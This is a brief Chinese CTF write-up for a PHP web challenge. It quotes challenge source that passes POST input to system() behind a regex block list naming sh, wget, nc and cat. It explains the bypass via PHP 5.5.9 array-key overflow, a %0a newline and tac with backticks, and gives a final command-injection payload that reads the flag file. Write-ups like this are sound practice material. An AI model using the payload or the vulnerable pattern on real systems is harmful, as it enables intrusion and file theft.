CTF-webfavorite_number

CTF-webfavorite_number

题目链接
考点知识:PHP代码审计、PHP正则表达式、PHP整型溢出、linux系统命令

解题思路

1、题目源码解析

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
//要求POST提交的stuff强等于array,也就是类型与数值相等,且stuff[0]不等于admin
//PHP5.5.9整型溢出溢出漏洞,stuff[2^32]=stuff[0]
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
//利用url换行符%0a,第一行是数字绕过正则
    if (preg_match("/^\d+$/im",$num)){
//利用tac与反引号
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

最终payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac+/fla``g

posted @ 2020-12-04 10:07  renblog  阅读(499)  评论(0编辑  收藏  举报